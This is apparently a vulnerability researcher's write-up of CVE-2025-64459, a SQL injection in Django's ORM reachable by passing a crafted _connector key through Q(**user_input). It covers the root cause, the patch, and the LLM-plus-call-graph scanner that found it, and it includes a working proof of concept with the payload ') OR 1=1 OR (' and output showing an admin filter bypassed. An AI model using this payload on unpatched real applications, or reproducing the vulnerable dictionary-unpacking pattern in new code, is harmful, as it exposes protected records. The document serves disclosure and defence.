SQL injection in the Django ORM via the Q object connector (CVE-2025-64459)

November 2025 · CVE-2025-64459 (CVSS 9.1) · Fixed in Django 5.2.8, 5.1.14, 4.2.26

I ran a scanner I had been building for my dissertation over the Django source and it came back pointing at one line in the ORM’s query compiler. CodeQL’s default Python suite finds nothing there, and it is right not to, because no taint rule is broken. There is a SQL injection in that line anyway, reachable from a documented public API, and it had been sitting in the framework for years.

WhereNode.as_sql formatted the query connector (AND / OR) into the generated SQL with unchecked %s interpolation. The connector value is reachable through the _connector key of a Q object, and the common pattern Q(**user_input) unpacks request dictionaries straight into Q, so anyone controlling input that ends up in that dictionary can inject arbitrary SQL into a WHERE clause and walk around ORM parameterisation entirely.

The bug

In django/db/models/sql/where.py, WhereNode.as_sql joined child clauses with the group’s connector like this:

conn = ' %s ' % self.connector

Whatever string self.connector holds goes straight into the query, with no validation on the way. It is populated from the _connector argument of the Q constructor, which is a documented feature for choosing between AND and OR grouping, and the constructor accepts it as an ordinary keyword argument. That last detail is what turns a configuration knob into an injection point.

The vulnerable application pattern is common in JSON APIs that accept a dictionary of filters:

filter_dictionary = request.json.get('filters', {})
query = Q(**filter_dictionary)
results = User.objects.filter(query)

If the attacker controls filter_dictionary, they set _connector to arbitrary SQL. It flows from Q‘s kwargs into self.connector, then into the query string through the %s above, and appears raw in the final WHERE clause.

What taint analysis cannot see

The bug looks obvious in hindsight, which makes it fair to ask how a framework whose entire selling point is ORM safety shipped it and kept shipping it for years.

Taint analysis cannot see it because nothing a taint engine watches for actually happens. The input is passed to a syntactically valid ORM method, there is no cursor.execute(f"... {x}") anywhere near it, and no unsafe API is in use at the call site. CodeQL’s default Python suite produces zero security-relevant findings on where.py, and every visible operation it classifies as safe genuinely is safe. The vulnerability lives in the gap between Django’s internal assumption, that self.connector only ever holds AND, OR or XOR, and the external reality that _connector is reachable through documented dictionary unpacking. That gap is not something a rule can be written against, because rule-based reasoning has no way to represent an assumption that was never encoded anywhere.

A pure LLM scan does find it, alongside twenty-plus false positives, because without grounding every % self.X in the file looks equally suspicious. Surviving audit for years takes both kinds of reasoning at once: the semantic understanding that _connector carries meta-logical significance rather than being ordinary data, and the structural verification that it is reachable from a public entry point.

Proof of concept

Vulnerable versions: Django 5.2 < 5.2.8, 5.1 < 5.1.14, 4.2 < 4.2.26. Set up a minimal project:

django-admin startproject sqli .
python manage.py startapp webapp

Add webapp to INSTALLED_APPS in sqli/settings.py and define a model with a privileged flag:

# webapp/models.py
from django.db import models

class User(models.Model):
    username = models.CharField(max_length=100)
    is_admin = models.BooleanField(default=False)

Then a management command that simulates a vulnerable API endpoint by unpacking an untrusted dictionary into Q:

# webapp/management/commands/poc.py
from django.core.management.base import BaseCommand
from django.db.models import Q
from webapp.models import User

def process_vulnerable_request(search_dict):
    # Unpacks a user-controlled dictionary directly into Q().
    query = Q(**search_dict)
    return User.objects.filter(query)

class Command(BaseCommand):
    def handle(self, *args, **options):
        User.objects.all().delete()
        User.objects.create(username="alice", is_admin=False)
        User.objects.create(username="root", is_admin=True)

        # Attacker-controlled JSON payload.
        payload = {
            "is_admin": False,
            "username": "nonexistent_user",
            "_connector": ") OR 1=1 OR (",
        }

        queryset = process_vulnerable_request(payload)
        sql, params = queryset.query.get_compiler(using='default').as_sql()

        self.stdout.write("Generated SQL:")
        self.stdout.write(sql % tuple(f"'{p}'" for p in params))
        self.stdout.write("\nResults:")
        for user in queryset:
            self.stdout.write(f"  {user.username} (admin={user.is_admin})")

Run it:

python manage.py makemigrations && python manage.py migrate
python manage.py poc

The generated SQL shows the payload interpolated directly into the WHERE clause:

SELECT "webapp_user"."id", "webapp_user"."username", "webapp_user"."is_admin"
FROM "webapp_user"
WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( "webapp_user"."username" = 'nonexistent_user')

Results:
  alice (admin=False)
  root  (admin=True)

The is_admin=False filter is bypassed and the admin record comes back. Any model exposed through a similar Q(**user_input) pattern has the same exposure, and the payload space is a good deal wider than the OR 1=1 demo here, since anything that parses as SQL in that position works.

The fix

Django’s patch is layered. At the low level, WhereNode.as_sql now validates self.connector against an allow-list of AND / OR / XOR before it is formatted into the query. That is the core fix, and it closes the vulnerability regardless of how the bad value arrived.

At the high level, QuerySet.filter(), .exclude() and related kwargs-handling paths now reject _connector as a lookup key, which kills the common exploit pattern before it ever reaches Q‘s constructor. That second layer is defence in depth rather than strictly necessary, and I think it is the right call anyway, because it catches the bug class even if a future refactor moves the first one.

Fixed in 5.2.8, 5.1.14, and 4.2.26. The advisory is on the Django security releases page.

The scanner

The tool is a two-stage neuro-symbolic scanner that pairs an LLM-driven semantic pass with a deterministic call graph reachability check. The architecture is the subject of my dissertation; here is the short version of how it behaved on this bug.

Stage 1 is the Scout. Gemini 2.5 Flash runs over every FunctionDef and AsyncFunctionDef node in the repo, with a prompt priming it as an ORM internals reviewer and scoping the search to unsafe identifier handling, ORM abstraction subversion, and attribute injection via dictionary unpacking. Output is constrained to a Protobuf-validated JSON schema so it parses without retries. The Scout only sees local function context, so it is looking for patterns that imply unsafe data handling rather than proving anything is exploitable. On where.py it flagged ' %s ' % self.connector: an instance attribute interpolated into SQL with no visible whitelist.

Stage 2 is the call graph. A separate pass parses every Python file with ast.parse(), walks every ast.Call node, and builds a name-qualified adjacency list mapping ClassName.method to its callers, persisted as JSON rather than pickle, since pickle deserialisation is its own RCE primitive. For each Stage 1 hotspot the scanner runs reverse BFS from the sink looking for any path back to a public entry point, heuristically any function taking a request argument. Depth is bounded at 8 hops, comfortably above the deepest recoverable path I saw in Django’s ORM, which was 5 hops to Query.resolve_lookup_value.

Stage 3 is the Judge. Findings that Stage 2 confirms reachable go to Gemini 2.5 Pro with the reconstructed call path and the sink’s source attached. The Judge runs a four-step chain of thought over mechanism, immutability, sanitisation gap and verdict, then classifies each finding as Likely True Positive, Likely False Positive, or Uncertain. Splitting the models this way, cheap Flash for the O(N) sweep and expensive Pro for the O(k) triage, cut inference cost about 71% against running Pro over the whole repo.

On this bug the Judge’s verdict was clean. It identified the root cause as implicit trust in self.connector rather than as a syntactic flaw, and noted that the framework treats the connector as if it were an internal constant whilst exposing it through a public dictionary-unpacking API. Absence of a guardrail, in other words, rather than presence of a flaw, which is exactly the class the architecture was built to surface and exactly the class taint-rule SAST is structurally blind to.

The same pipeline, with Stage 2’s graph ingestion swapped for libclang, later found a use-after-free in CPython’s perf_trampoline (Issue #143228). Same reasoning core, different language, different class of bug. Write-up on that one here.